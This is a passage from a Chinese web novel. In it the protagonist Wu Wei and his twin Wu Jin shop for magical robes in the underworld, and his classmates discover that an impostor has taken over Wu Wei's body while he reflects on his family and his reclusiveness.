他能感受到这里的气息律动是有规律的,似乎是有什么阵法,他虽然不懂,但在地府待久了,对阴煞之气比较敏感。
这阵法似乎是以人的尸骨为阵眼,血肉早已被这神像吸收殆尽。
没有怨气,且没有被地府发现的话,那么那些受害者的魂魄应当不是被祂吃干净了就是已经被清气同化了。
这手段,太残忍了。
钟离归看他脸色难看,疑惑地问了一句,“大人?”
吴惟叹了口气,说道,“等特事局的人来了,让他们找个精通阵法的人,虽然煞气清除干净了,阵也破了,但那些被当做阵眼的尸骨还是让他们入土为安吧。”
尸骨?
钟离归,脸色一变,倒是不怎么意外,如果这次不是吴惟来,他们估计也会变成其中一员。
钟离归郑重行礼道谢,吴惟得了这个承诺就离开了子车树的身体。
然而子车树却半天没有回神。
子车树清楚的记得自己在那个简易神降仪式上,钟离归让他想着神明的名号请神的时候,他告诉自己的那些神他知道没记住,反而想起了吴惟的名字。
本来他都以为要失败了,结果下一秒就感觉到自己肉身被占据了。
这种感觉很奇妙,他能看到外界,但无法交流,仿佛开了上帝视角一般,每个细节都能看的清清楚楚。
有点像他当初观察吴惟的时候,突然进入的那个状态。
他看着吴惟干脆利落地解决一切,一出手就势不可挡,忽然,子车树感到胸中仿佛烧起了一团火,一
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股豪情油然而生。
他也想像他一样,无论什么局势,都可以直接以力破之。
真的好帅啊!
这一刻树树化身了成了新新。
警方根据阵师的指点,找到了一共一百三十二副尸骨,他们发现那些人最早可以追溯到三十年前。
当时只是失踪案,按理来说一个地区,发生那么多起失踪案,警方不可能不重视,但他们就是没有注意到。
这件事后续被交由特事局追查,而警方那边则负责处理尸骨的后续,寻找受害者的家属。
这些事和子车树五人没有关系了,他们连夜坐上火车回了学校。
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吴惟醒过来,浑身酥酥软软一点也不想动。
然而大树见他醒了,直接把他捞了出来。
动作还是很轻柔的。
吴惟飘在空中伸了个懒腰,突然发现有些不对,低头看了一下魂体。
他似乎长高了。
转了一下视角看向自己,现在的他大概有12岁左右的样子。
啧,还是有点嫩啊。
不过为何突然长高,跟朏朏有什么关系吗,还是刚刚的梦?
刚刚的触觉过于清晰,让他实在不太能相信那只是个梦。
“你醒啦,”朏朏跳起来趴到他胸口,反正魂体是可以飘的,它也不怕掉下去。
“你长高了!”
“嗯,谢谢朏朏。”吴惟笑着揉了揉猫猫脑袋。
“既然要感谢我,那你可要多来找我玩呀!”
吴惟有些犹豫,他很想答应它,可是他还要回临城。
朏朏看出他的犹豫,一个梅花爪印拍在他脑门的莲花印上,“笨惟惟,我是朏朏,当然是住在梦里啦。”
“梦?”
“对哦,你们人类不知道,朏朏是梦兽哦,一般不会离开在梦里哒,我可以让人做美梦哦!”朏朏歪歪脑袋,慢慢给吴惟科普。
“我的天赋是美梦和治愈,因为可以编织美梦,所以人类才说我是忘忧兽哒。”
吴惟想起了单调,原来这家伙是只朏朏?
咳,失礼了,绘梦师可没朏朏可爱!
既然没有时空限制,吴惟自然答应,谁不喜欢可爱猫猫呢。
朏朏高兴地“喵喵”叫了起来。
就像人类喜欢漂亮猫猫一样,朏朏也喜欢漂亮人类。
朏朏平时喜欢睡觉,睡醒了就会到处逛逛,遇到好看的人类就会把对方骗进自己的梦里一起玩。
地府有个传说,做了好事的人,若是运气好,能碰到一只可爱的猫猫,吸两口可以解烦忧,若是猫猫喜欢你,一整天都会变得很幸运。
当然,人类鬼觉得自己在撸猫,猫猫又何尝不是在撸人类,等撸够了把人放出去,幸运buff不过是它给的补偿罢了。
可以说很双向奔赴了:)
当然朏朏的以审美来看,它所谓的漂亮和人类视觉感官上的漂亮并不是一回事。
朏朏眼里,是能看到人类的意识的,也能看到缠绕在人类灵魂上的各种气机。
吴惟在朏朏眼里就是一块大号行走的水晶,外壳金光闪闪,里面是红蓝交织的星云。
单看它的树就知道她喜欢什么了,吴惟可不就最对味了,连配色都一样一样的。
这么好看的人类朏朏想经常撸,这可不就把家门钥匙都给了对方,可以说是非常喜欢了。
一人一兽心满意足地分开了,吴惟这才发现,自己居然在一棵紫藤树下睡着了,吴烬就坐在他身边看着他。
“哥,你终于醒了,怎么样,有没有哪不舒服?”
吴惟摇头笑着说,“刚刚做了个美梦,很开心。”
吴烬也笑了,“嗯,你没事就好。”
“不过哥哥怎么突然长高了?”
“是礼物。”
没头没脑的一句,不过吴烬没有再追问,想了想,把自己变得跟吴惟一样高。
这样又是双胞胎了^-^。
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68.第 68 章
事事无为:[小可爱 #图片# ]
[!这不是朏朏家嘛,小先生被朏朏邀请了吗?]
[并不是很意外呢,朏朏本来就喜欢亮闪闪的功德,笑死]
[真实,这张真的好温馨啊]
[确实好可爱,放大看,每只朏朏神态都不一样,呜呜呜,可爱爆了]
[偷走一只~]
[……]
吴惟两人又在金城呆了两天,那边工作终于完成了。
除了一些已经丢失的档案,大部分的灵魂都找到了出处。
明沁带着两人到赏善司领了补偿和报酬,又带他们到登记处给吴烬进行登记之后,直接把两人赶走了。
“大过年的陪着老人家干嘛,回去找小伙伴玩去吧。”
吴惟:“?”
您也不老吧。
婴灵再次看到这对双胞胎的时候,整个人都沉默了。
整个地府就她长不大了是吧?
吴惟的就算了,灵魂慢慢恢复就可以长回来很正常,但是吴烬是怎么回事?!
本以为有人陪自己当小矮子了,叛徒!
吴惟一眼就看出婴灵在想什么,因为他也有同样的痛。
在一群都是一米八多扎堆的圈子里,只有他没过及格线,啧,太痛了。
好在他不是二头身:)
不过他现在已经不那么在意了,毕竟当过女孩子又当过二头身,身高什么的都是浮云了。
婴灵只生了一会儿闷气就把自己哄好了,高高兴兴带两兄弟去买衣服。
“衣服不都是幻化而来,还有专门卖衣服的?”吴惟虽然见到过一些,但是依旧不是很能理解,他以为,卖的是设计。
“算是防具啦,毕竟你再怎么幻化,魂体都是直接暴露在外的,在鬼城还好,但若进入大荒就必须要有一层法衣抵挡。”
吴惟;“…游戏装备是吧。”
“是这个意思。”婴灵眨巴一下眼睛,“跟游戏商城很像哦~”
至于哪里像,吴惟见到了之后沉默了。
衣服确实是显示出来的没错,有人台,但试穿只要点一下就能上身,还能随体型变化变成自己最适合的模样。
至于效果试用则是在试衣间,所谓试衣间,就是一个模拟大荒的大型幻境。
当然也可以模拟成擂台或者人间景,只不过一般人买衣服是为了进入大荒,所以会选择大荒地图的鬼比较多。
当然,也不是没有只是来买个设计的使用权的,这种就比较便宜了。
真的好网游啊…
地府Online启动。
哦不对,地府暖暖启动…
吴惟生无可恋地被两个小娃娃摆弄。
反正一键换装,随便试,再复杂的衣服都不麻烦,婴灵就开启了,“这件好好看,你试试,哇这件也可以哎~这个风格还没见你穿过,说不定很好看呢~”模式…
吴惟本来很想拒绝,但是看着婴灵水汪汪的大眼睛还真说不出拒绝的话。
小孩子嘛,喜欢玩换装游戏很正常,更何况这孩子那么多年都在埋头干活。
吴惟想到这些多少有点心疼,就由她去了,至少地府换个衣服也不消耗体力不是吗?
这大概就是oc人搞oc上头的报应吧,自己也成了别人家的oc呢…
吴烬起初不是很理解,这么为难他哥好吗?直到吴惟被推着换了几身后,直接选择加入了。
人靠衣装马靠鞍这话也不是说说的,每件衣服的气质不同连带着穿衣服的人气质也会跟着变化。
两人玩的不亦乐乎,店里的男装女装都试了个遍,婴灵才开始正经挑选起来。
咳…别在意,在场三人都不是什么在乎性别的,女装也很正常。
说起来也有趣,吴惟虽然现在只有12岁的个头,但身上肌肉还是和以前一样流畅有力,一些风格很魅的女装穿起来也没有娇柔感,反而比穿男装时看上去要硬朗一些。
店主妹子看得灵感爆棚,说下次做出来新衣服邀请吴惟来试。
吴惟只觉得他是不是之前推荐千叠给单调当模特被反噬了,这什么回旋镖啊!
尤其是这个店主妹子的风格和单调有得一拼,都是玩色彩的神,衣服看上去好看和他想穿是两码事。
至少在他眼里,这么光鲜亮丽的衣服就是给oc穿的!
但他不想扫婴灵的兴,含泪答应了。
最后婴灵给吴惟选了一身蓝黑的法袍,袖口点缀着泛点荧光的青色刺绣,一边搭配大面积红色披肩被腰带固定,披肩上彼岸花若隐若现,时不时在肩头绽放。
地府的彼岸花除了和人间的形态一样之外,并无相似,它是由生物血液精气凝聚而成的,形态似花。
它们多生长在各种生物的埋骨之地,尸体越多,凝聚而成的画越多,尤其是一些古战场,现在也有开这种花。
彼岸花本身无害,却可以掩盖鬼魂意识的气息,让大荒的地脉将它附近的意识当成自己的一部分,免受侵害。
法衣另一边的肩膀上时孔雀翎羽装饰,这而这装饰确实出自孔雀,作为上古神兽的孔雀,其翎羽拥有驱邪避瘴的功效。
当然这个翎羽自然也不是实体,而是由精气凝聚而成。
精怪和人类不同,他们活着的时候,时不时会有身体的一部分脱落,在人类眼里是上好的材料,他们之中有些亲人的,会将这些东西拿来售卖,换取自己所需要的。
死了之后这种特性依旧存在,它们的魂体会每隔一段时间,自主脱落一些魂体在地府活动的时候沾染的杂质。
那些杂质经过魂体的筛选淬炼,也会有些带着本体的特点,而作为材料和人类鬼魂交换的传统,自然也在地府盛行。
除了这两样特效装饰,衣服上的花纹都是一些效果常规的避障符文和转化符文交织而成符阵。
吴惟进幻境试了一下,大荒的地气对他魂体不会造成一丝一毫的影响,加上转化符阵的力量,完全可以利用地气让整件法衣各部分完成充能。
哪怕他在大荒呆个天荒地老,只要不是遭受强烈的能量对冲,他就不会出任何事。
可以说在整个店铺里,这件法衣都算是极品中的极品。
“婴灵大人眼光还是一如既往的好,一眼就选中了我这儿的镇店之宝。”
婴灵抬抬下巴笑了笑,一副很得意的小模样,给几人逗笑了。
“阿烬呢,喜欢什么样的?”
虽然长着一样的脸,但婴灵到底无法把他当自家崽,不,应该说,她是在没办法把一个加起来可能几十万岁的家伙当个崽。
特指数万灵魂的记忆,不只是记忆还是亲生经历过的人生百态,哪怕是地府老鬼都不敢说有这样的体悟。
不得不说婴灵其实想多了,没有那么玄乎,人的记忆多了总会进行筛选,记得一些重要的就足够了。
而吴烬,现在最重要的是当下,过去种种都如过眼云烟,也许遇到一些事能够想起来一些,但记忆就是记忆,再亲身经历过的事也会褪色。
并不是人的经历多了就一定成熟,也许在特定环境下会刻意变成熟,但如果不成长也能过的很好,谁又愿意当大人呢?
更何况吴烬情况并非如此,数万灵魂的意识其实大多数已经坠入轮回,融合新生的灵魂虽然记忆如同亲历,到底隔着一层,雾里看花。
甚至再过久一点,或许他就只是他自己了。
只是吴烬到底经历多一些,他的心态更倾向于历尽沧桑的老年人。
虽然最开始对一切都带有防备,总觉得单纯的哥哥需要人保护,但这段时间相处发现地府整体就是这样,自然就放松下来了。
不过作为一个老小孩、少年人,吴烬还是很满意婴灵的不干涉的,毕竟他们确实不熟。
吴烬给自己选了身干练帅气的新中式练功服,整体是深灰色,符阵采用的是暗纹的形式,看起来没有那么花里胡哨。
衣袖和裤腿是扎进黑金的护腕和长靴里的,领口的两个金属扣子和腰上的红色系带是整套服装的为数不多的装饰。
金属自然也不是真金属,而是流心所制,也就是地心之气。
之前食肆的店小二就说过这种东西,其实按吴惟的理解就是岩浆逸散出来的带有一些杂质的清气。
当然,魂魄不可能靠太近,就像人不可能靠近太阳一样,在能够感受到热量的地方就能收集到了,只不过越靠里,纯度越会高,质量就越好。
但也要看你是拿来做什么的,像流心酥,只需要一点点就够了,若是纯度太高反而不能拿来吃。
而金属装饰就不一样了,流心对地气是有一定克制作用的,自然纯度越高越好但也有一个临界点,不能灼伤灵魂。
吴烬选的这身法衣偏进攻性质,和吴惟那身纯
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防御不同,流心配合各种进攻手段都可以提升其威能。
护腕和长靴的材质是貔貅的皮,当然也是脱落的假皮,它的作用是储存能量,符阵转化的能量少数作用于防护,多数也是储存在其中备用。
吴烬在大荒中试着调动清气打了一拳,直接打散身前十米开外的地气,效果确实斐然,他很满意自己的眼光。
比起防守,吴烬更喜欢进攻,金城当初就是因为没守住,他才会成为捆仙锁,现在的他特别讨厌被动的感觉。
他的记忆当中确实有一些学武的人,但都不是很精通,吴烬思忖着过段时间看看能不能找人教教自己。
“真帅。”吴惟赞美道。
虽然不适合自己,但是不妨碍他欣赏,不过…
吴惟扫了一眼他的腿,老神在在望天,哎呀真不好,被某个三字游戏公司洗脑了,总觉得缺个腿环,咳。
其实倒不是缺这个,就是他古风画惯了,不垂点什么总感觉有点怪,你说是吧老米。
吴惟环视了一圈,取下一条宽大的围巾给吴烬围上,放来披肩上有点像大侠的破斗篷。
嗯,对味了。
吴烬有些哭笑不得,自家哥哥真是的,自己不喜欢被打扮倒喜欢玩别人,这就是画画人吗?
店主妹子眼前一亮,“这个感觉好,不过这条围巾不太行,换这个。”
“呐,这是驺虞的毛发织的,加速度哦。”店主手上那条和之前那条长得差不多,自然上身视觉效果也差不多。
但吴烬一穿戴上就明显发现了不同,整个魂体都变得轻盈了。
“怎么样,你们要不要发型也在我家做,我的发饰都是也都是法器哦~”店主姑娘笑眯眯地看着两人。
说真的,接待这对双胞胎真是快乐啊,长得好审美也好,风格也百搭,尤其是这头长发!
店主姑娘很是心动,她早就想给男孩子编发了,可惜几乎遇不到。
现在都没几个人留长发了,地府古代男鬼少,因为很多都接受不了女性统治早早入了轮回,还有一部分比较保守,活了这么多年依旧很难过去那个坎。
但是这两位不同,似乎什么都能接受,她一定不能错过!
吴惟:能不能放过我…算了…
反正自己弄也是弄,他这一身随便盘一下不合适,何况他们魂体也不用拆,就让店主来吧。
只要不是太夸张就行…真是行不了一点!!
那么一瞬间吴惟简直要以为自己穿越到了苦境…
木头人的造型众所周知的复杂,店主姑娘在吴惟的死亡凝视下,不得不把违章建筑拆了又拆,最后留了一个吴惟还算能接受的鹊尾冠。
冠上装饰是孔雀翎羽,下半部分有一些金属装饰和簪子固定盘发,垂纮上还串着玉环和一些小珠子。
这风格,像极了吴惟自己画的oc们。
这家店不卖没用的东西,发冠是店主姑娘临时改的,和其服饰气韵相通,本身能够增强服饰原本的效果。
店主姑娘只把吴惟一半发丝盘在脑后,冠是三十度角半躺着的,背后散下来的那一半发丝被一丝不苟的用发带扎了个垂髻。
用她的话说,这张脸不需要有任何遮挡和修饰。
婴灵在一边点头附和,不是她说,这才像她正儿八斤的同事:)
吴烬的造型就简单了多了,高马尾,带个束发冠,鬓角两根龙须,很现代古风的发型。
店主妹子想了一下,还是决定直接用发带,用小红绳把两边的须须绑了起来。
“完美!”
确实完美,上世纪的武侠风范出来了。
玩尽兴了…啊不是,装备配齐了,婴灵带着两人去冒险者协会注册了了个身份。
吴惟:“?”
其实之前他就想说了,他也不像会当冒险者的人,怎么突然要买装备,但是现在他不确定了。
对此婴灵表示:“你自己出门必遇事儿的运气自己没点数嘛,我可不信你能老老实实带在城里。”
“自然是要有备无患才行。”
“而且现在这样赏心悦目,我喜欢。”她甚至琢磨着给他多买几套换着穿,万一报废了也好换。
不过怕他炸毛,以后再说吧。
奇迹惟惟,嘿嘿。
[把你痴汉的表情收收,味儿太冲了。]判官笔无语,对吴惟产生了点廉价的同情。
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69.第 69 章
可以说婴灵说的一点没错,大过年的吴惟被鬼推进临江冲走了,这找谁说理去:)
他当时根本没感觉到有什么东西靠近,更无从得知自己怎么进入河道的。
河水流速对于魂体来说其实有些快了,虽然一般地府的出入口就在河流中,但那是有特定通道的。
直接入河等同于不做防护直接进入大荒。
吴烬当时拉着吴惟的袖子,感受到一股力量,赶紧扑过去抱住他哥,两魂一起被浪掀走,然而无一人发现这里的事。
吴惟用功德撑起一个屏障,两鬼这才不至于,被水流冲散。
但过于轻巧的他们,在河中根本控制不住魂体,功德泡泡浪翻来覆去,两鬼魂被甩地晕头转向。
不知过了多久,在吴惟快要支撑不住的时候,功德气泡撞上一条鱼尾,吴惟当机立断拉着吴烬躲进了那条鱼尾中。
对不起了鱼,借我们先靠一靠。
然而还没等他们松一口气,鱼尾疯狂摆动起来,下一秒,整条鱼被人从临河里捞起来。
“哦豁,这条好肥美啊,不愧是财神爷!”
吴惟愣住了,他好像听到对称兄的声音了,然而鱼儿跳得厉害,他被晃得头晕,根本分不出神去“看”。
“嗯,正好拿回去给神子大人补补身体。”
这是从饶的,确实是他们班的财神爷,破案了,还真是他们班的家伙。
不过神子大人?他不是死了吗?
“他刚醒来能吃鱼吗?”
“可以炖鱼汤,鱼汤很滋补的,我妈妈生病那会儿做完手术之后就经常喝,体力恢复的可快了。”
“这样啊,那咱们多钓两条?”
鱼儿被扔进桶里,不一会儿,又来了两条鱼跟他们作伴。
吴惟现在是半点也不着急了,他倒要看看是什么妖魔鬼怪占据了他的肉身。
甘从两人说说笑笑,一路驱车到了城北。
园区大部分已经建起来了,至少建筑群那里已经布置完成,周围植被刚栽上,就等它开春发芽了。
“吴惟”会从特事局搬出来也是因为这边人少,会方便一点。
两人到的时候,殳玲正在跟殳云烟、孰湖还有闹闹玩,孰湖看到两人提的桶,“哒哒哒”跑了过去,跪趴下来盯着看。
“这就是孰湖吗,好帅啊!”从饶星星眼。
自从上次吴惟受伤,他们班群里开了一次真正意义上开诚布公的线上班会,所有人都知道孰湖的存在。
只不过这是从饶他们第一次见。
孰湖听到有人夸它,抬头冲着从饶“嘤嘤”叫了两声,又把视线转回桶内。
甘经亘挠挠头,问道:“他是想吃鱼了吗?”
殳玲也一脸茫然,“孰湖不吃肉啊。”
不一会儿闹闹也飞过来,站在桶边上,歪头看向桶内,鼓起肚子,“惟惟~惟惟~”
周围三人:“?”
吴惟也惊了,孰湖敏感他能理解,闹闹怎么也这样?难到已经成精了?
不行,不能让他闹腾下去了,吴惟调动灵识向闹闹和孰湖传达了一个命令,让他无视自己。
闹闹很聪明,马上就理解了,也不叫了飞到孰湖头顶。
孰湖虽然理解,但还是有些不舍,吴惟思忖一下,带着吴烬钻出鱼尾,附着在孰湖脖子上的装饰上,它终于移开了视线。
崽崽在身边,它这次绝对不会把崽崽看丢了。
孰湖摸了摸胸前的璎珞,安下心来,看到旁边两个把崽崽送回来的人类,心生欢喜,“哒哒哒”跑上去给两人一人来了个举高高转圈圈套餐。
别说,从饶还挺喜欢这个感觉的。
甘经亘有些别扭,吐槽道:“孰湖面前人人平等。”
“说起来神子大人不会天天被举高高吧。”
殳玲:“是的,天天。”
“笑死,真成崽子了。”甘经亘笑得超大声。
从饶有些不好意思没说话,眼睛里流露出一丝羡慕。
虽然被举起来很羞耻,但是这种和家人的互动是他从小就没体会过的。
按理说长大了应该不需要这种同位补偿的,但从饶,也说不上来为什么,他就是喜欢。
也许是因为他总是长不大吧,而他也总是因此自卑。
他总是要装作大人的样子面对生活,在被举起来那一刻,从饶好像才感受到真正的自我。
常笑听说甘从二人来了,才跑出来迎接他们,“你们是来看吴惟的吧,我带你们过去。”
甘经亘锤了锤他胸口,开玩笑地说,“你小子,这警卫员当的有模有样啊。”
常笑无奈笑笑,他要是做的好,吴惟也不会几次陷入危险了。
他们穿过一众建筑群,在一处两层小洋房里见到了吴惟,他的面色并不好,依旧泛白,带着一丝病气。
看到他们,“吴惟”笑着打了声招呼。
“你小子,不声不响就整个大的,”甘经亘装作凶狠的样子瞪了一眼吴惟,“知不知道笑笑告诉我们你重伤濒死的消息给我们都吓到了。”
“吴惟”嘴角依旧带着温和的笑容,语气有些无奈的说道:“对不起,下次不会了。”
“哼,你还想有下次!”
从饶也说道:“不可以有下次了!”
“好好好,我一定注意。”
“对了,财神爷给你钓了几条鱼,等会儿让人给你炖了补补身体,你快点好起来,才不辜负我们的关心。”
“好。”
“……”
那边正叙着旧,顾鎏和仰飞光也到了,孰湖“哒哒哒”跑到门口给两人一个举高高。
它还特别照顾了一下仰飞光,举着他多转了几个圈圈。
仰飞光:“?”
没错,是吴惟指使的,他说仰飞光特别喜欢举高高。
上次聚会的仇他还记得呢:)
大仇得报让人心情舒畅,吴某人有些小开心,可见有些时候人还是要幼稚一点。
若是顾六六能看到他,估计会很欣慰,更像人了呢。
二人过了举高高流程,也跟着常笑去看了“吴惟”。
他已经醒过来有几天了,正好今天是除夕,大家打算聚一聚。
虽说一般情况下除夕夜都是和家人在一起的,但他们早就把班上的伙伴们也当成家人了。
这次重要的家人出了事,好不容易醒过来,自然是比另一边的家更重要了。
想到这些,仰飞光突然想起一件事,“话说吴惟你这次受伤应该没和家里人报备过吧,大过年的不需要回家?”
“吴惟”脸色一僵,面上有些落寞,“我的父母都不在了。”
仰飞光愣了一下,拍了拍他的肩膀。
顾鎏在一边皱眉,不知道在想什么,从刚刚进来他就没怎么说话。
几人聊了一会儿,顾鎏突然说道:“吴惟你脸色不好,先休息吧,一会儿他们来了还要闹腾很久,我们晚会儿再来看你。”
“吴惟”点点头,“嗯,你们随便就好。”
出门走了一会儿,碰上在跟别人玩举高高的孰湖,两人就站在那里看了一会儿。
仰飞光问道:“你刚刚不对劲,发现什么了吗?”
“吴惟有什么问题?”
“他不是神子大人。”顾六六直言。
仰飞光有些惊讶看向他,顾鎏接着说道:“你也看出来了吧,他现在状态很奇怪。”
“如果说以前的神子大人是从神到人,现在的吴惟就是一个伪装神明的彻头彻尾的人。”
“还是贪婪小人。”
“你觉得人死一次变化会有多大?”
仰飞光看着顾鎏的眼神更惊奇了,“六六啊,我第一次听你说这么一大段。”
顾鎏不理他。
这时孰湖和另外两个人已经靠近了,这两人还是仰飞光熟人,当初送张钰婷的时候是他们一起去的,仰飞光对他们有印象。
这对龙凤胎似乎也是玄门的人,还是自己的学弟学妹。
“二位学长好,”夙逸兴打了个招呼,直接问出了心中的疑惑,“刚刚听到两位学长在说无为不是无为,能和我们说说是怎么回事吗?”
仰飞光:“?”
不是姐们儿,这么远你都能听见。
“抱歉我们不是故意听的,剑修的五感比普通人强很多,我才无意间捕捉到无为的名字。”
顾鎏还没说话,就被孰湖推到一边,它走的时候不忘示意另外三人跟上。
几人走到角落里,孰湖指了指自己胸前的璎珞,璎珞发出淡淡的金光,四道金光没入四人眉心,下一秒两个吴惟的身形显露在他们面前。
“刚刚我也听到了,六六可以和我说说里面那个家伙的情况吗?”
四人:“?”
“不是哥们儿,你什么情况,变这么小还分身了?”仰飞光惊叫,“你是练分身才变小的?”
吴惟:“……”
吴烬抱着吴惟的胳膊笑着眨了眨眼,“是呀,我是哥哥的分身。”
顾鎏:“你不是。”
“这个以后再解释,”吴惟叹气,“六六你能看出来我是原本的我对吧?”
“嗯。”顾鎏当然能看出来了,眼前这人和以前的神子大人一般无二。
只不过他很惊讶,现在的吴惟身上的气质很矛盾,带着点孩子气,又有点威严的感觉?
吴惟和威严?总觉得好违和啊。
但是这矛盾的气质,又很奇异的和眼前这人相得益彰。
顾鎏大概形容了一下看到里面的人的感受,听地吴烬双眼冒火。
“什么玩意,也敢对哥哥出手!”当他是死的吗。
虽然吴烬现在对力量掌控不太熟练,但数万灵魂融合可不是开玩笑的,真要打起来,他自爆都能炸死几个判官级别的鬼神了。
“六六,你觉得现在的我打得过他吗?”
“打不过。”顾鎏的直觉是除了以外季慎思最准的…不,不能这么说,应该说是除了反向的季慎思以外,毕竟他是毒奶。
总之,顾鎏说不行,就是不行。
“那还要麻烦你们先哄着他了,我先回地府问问。”
“嗯,不要出现在他面前。”
“好。”吴惟转向孰湖,“对不起,我又要走了。”
“嘤…”孰湖很难过,他听得懂人类的语言自然知道他们在说什么。
孰湖其实早就发现吴惟不对了,他受伤之后,它就闻不到
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他的味道了,取而代之的是一股很刺鼻的味道。
它意识到这个受了重伤躺在那里的人已经不是自己的崽崽了。
他变得小小的跟在常笑身边,因为这个人总是跟着崽崽,它以为他应该知道崽崽在哪里。
可是他也把那个难闻的家伙当成崽崽了,孰湖这段时间很焦虑,直到回到园区,遇到来找它的殳玲。
她看出它的焦躁,问了出来,它颠三倒四得把自己的发现告诉了殳云烟。
殳云烟会说人话,因为她已经讨口封成功了,按理说是可以变成人的,只不过它比较喜欢狐狸的形态,加上人类要上户口麻烦,才一直保持这个样子的。
殳云烟将孰湖的话总结了一下,告诉殳玲,她脸色立马变难看了。
她让孰湖先别急,先把她天赋特意的同学们叫来看看“吴惟”的情况再说。
除夕夜的聚会就是这么组织起来的。
她没有告诉同学们她叫他们来的目的,也是希望能靠他们的能力和观察来确认一下。
毕竟一方之言不准确,若是大家都觉得不对劲,那孰湖就肯定没看错,他们还要想办法稳住那个不知道哪来的东西,去寻找真正的吴惟。
现在吴惟找到了,孰湖实在舍不得放他离开,但是他又知道,他打不过那个东西,自己不能耽误他的正事。
吴惟摸了摸孰湖的鬃毛,轻声哄道:“我很快就会回来的,别担心。”
仰飞光想起来什么,突然问道:“对了你有家人吗?”
“有啊,怎么了?”
“刚刚里面的家伙说你父母都不在了,说的很肯定,这人肯定对你不是很了解,但不知道从哪听来了消息,我担心你父母…”
“没事,应该是算出来的吧,”吴惟淡淡地说道,对于父母他没什么感触,毕竟…“我妈妈确实不在了,她去她想去的世界了,至于我爸爸,他已经把我们给忘了。”
众人:“啊?”
“别误会,我爸爸不是那种渣,就是我和我妈都比较特别,只要不主动出现在他的世界里,他就会逐渐遗忘,像是什么规则一样。”
“之前我去看过,他自己一个人过的要比以前好很多。”
“那你母亲?”这次发问的是夙逸兴,她真的很好奇。
“就这么说吧,也许她本来不是这个世界的人,无法和这个世界相融,每次她想努力好好生活,生活就会给她一记重锤。”
“后来她想离开了,我不知道她是怎么找到回去的路的,只是她和我说过,她要走了,还说我和爸爸会慢慢淡忘她的存在。”
“但是很奇怪的是我爸爸在她走之后就已经忘了她了,而我到现在还记得很清楚。”
“再后来我父亲也忘记了我,有很长一段时间我怀疑自己也不是这个世界的人,我甚至想去找她,脱离世界最快的方式是自杀,但是没有那个勇气。”
“那段时间我一直沉迷画oc,以为构建一个世界,就可以容纳我的灵魂。”
“大概就是这样。”
“那人会说我父母双亡,估计就是因为缘分已断,人都不在这个世界上了,自然就是亡者了。”
“可是你父亲还活着啊?”
“他啊,”吴惟叹了口气,“一直都在被我们拖累,若非缘分已尽,现在估计还在倒霉。”
他们一家从来都只会吃各种亏,他出生的时候正好没了独生子女的奖励,他上学的时候正好多了乱七八糟的学杂费。
他家的房子五六十年了,怎么都等不到拆迁,反而附近成了商业街,好好的民水民电住宅房变成了商水商电。
爸爸做点小生意,按理说那个年代,以他的实力就算不至于大富大贵,赚点小钱过上小康生活也绰绰有余。
但他们家就是很倒霉,总是遇到难缠的客人,各种纠纷不断,哪怕是别人的责任也要摔到他们头上。
他妈妈只要一上班他爸爸生意就直接凉了,爸爸那边有点起色了,妈妈的工作就没了。
每次好不容易有了钱,就有各种各样的事要破财消灾,比如电瓶车被偷了,出了点车祸需要住院…等等,总之,一分钱都不能留在手里。
而在他父亲忘记他母亲之后,生意一天比一天好,以前从没赶上过的福利,现在几乎都能拿到,遇到的客户素质也上升了不止一个档次。
没了那些胡搅蛮缠各种赖账的顾客和甲方,生活过好了不止一星半点。
“无论如何,总算是一件好事,至少他不会被那东西缠上。”
“确实,而且这样的话咱们也方便很多。”夙明月点头。
或许别人不一定能接受这件事,但在座的不是本来就脑回路不正常,就是玄门中人,而玄门中人最讲因果。
仰飞光也跟着点头:“不会牵连就好。”
“而且这也证实了他确实没有你的记忆,这就好办了。”
“他不知道我们对你的态度,哪怕所有人都知道了也不怕在他面前演戏露馅,给他来个楚门的世界,哼哼。”
“那就交给你了,表演者。”吴惟难得揶揄了一下。
“既然不能碰面还是少留为好,附近的人工湖是不是挖好了?等下送我们一程?”
“好。”
.
70.第 70 章
一只骷髅扑过来,被吴烬一拳轰碎了。
真糟糕,他们明明走的是正规鬼门,却被传送到了大荒。
吴烬有些担忧地看着吴惟,“哥哥,你的父母…”
他灵魂所处的年代,大多数人对父母的感情总是很深,毕竟孝之一字早已深入骨髓。
刚刚人多他不好问,他很担心吴惟只是表面上看得开,实际上心里并不好受。
吴惟看懂了他的意思,很平静地说道:“阿烬,不是所有人都对感情很看重。”
“你知道吗,很多时候我只是这么表现的而已,但其实内心没有什么感觉的。”
说实话这是吴惟第一次把这种想法说出来,以前从来开不了口,当然这之中他妈妈除外。
因为他知道他妈妈和他是同类,但他们似乎又有些不同,他愿意把自己认知的东西与她分享,希望她早日找到自己的答案。
但直到现在他才明白,他和他妈妈走的是截然相反的两条路,他妈妈想出世,而他一开始就站在她的终点向回望。
他想要入世。
吴惟抬手用业火燃尽四周的怨气,开出一条道,他们不知道这条路对不对,且走一步看一步吧。
好在不论业火还是法衣都可以做到就地取材,生生不息。
吴惟一边烧一边走,意识却早已飘远。
以前他只是闷头走,从来没有注意过自身的变化,也从来没有想过自己想要的是什么,总是得过且过。
他觉得自己想要似乎有追寻,他一直以为他所想要的只是一种顺其自然。
然而到这一刻,回望过去,他发现自己想要的,也确实是一种自然,但这种自然,不是他一直奉行的得过且过,什么事也不放在眼里。
他的潜意识似乎一直在努力想要融入世间,只是他自己感受不到。
因为运气不好总是想要逃避,好像躲在自己的小世界里就安全了。
但命运推着他一步步前进,逼着他变得不那么隐匿,他被迫面对其他人的时候,他发现好像并没有像自己想的那么恐怖。
忽然他想起自己曾经画的手书,他又何尝不是那个因为被pua以为全世界都是恶意的女孩。
只不过他比她还不如,他是自己把自己关了起来。
这个小黑屋给了他温暖和安全,他就像个小蜗牛一样把它走哪搬哪,一不顺心就缩了进去。
但是小黑屋可以是他的避风港湾,却不应该成为他的枷锁。
枷锁啊…
吴惟抬头望向地心,似乎有什么东西脱落了,吴惟忽然感觉自己变得轻飘飘的。
灵识无意识地散发开来,业火暴涨,疯狂像四周扩张,直到他们吞噬就足够多的燃料,才慢慢收拢,餍足地钻进吴惟体内。
吴烬一直在观察吴惟的状态,警戒四周,一旦有漏网之鱼就上去补刀。
刚刚那一幕惊到他了,在业火收回之后更加警惕了,谁知地气半晌都没再靠拢,两人周边形成了一个真空地带。
吴惟的意识下沉触及到一片星空,他缓缓融入这片星空,从小到大的各种事慢慢成现在眼前。
他看着自己成长,看着自己遁入小世界,创造着各种角色,他把自身带入角色,仿佛感受到了他们的情绪。
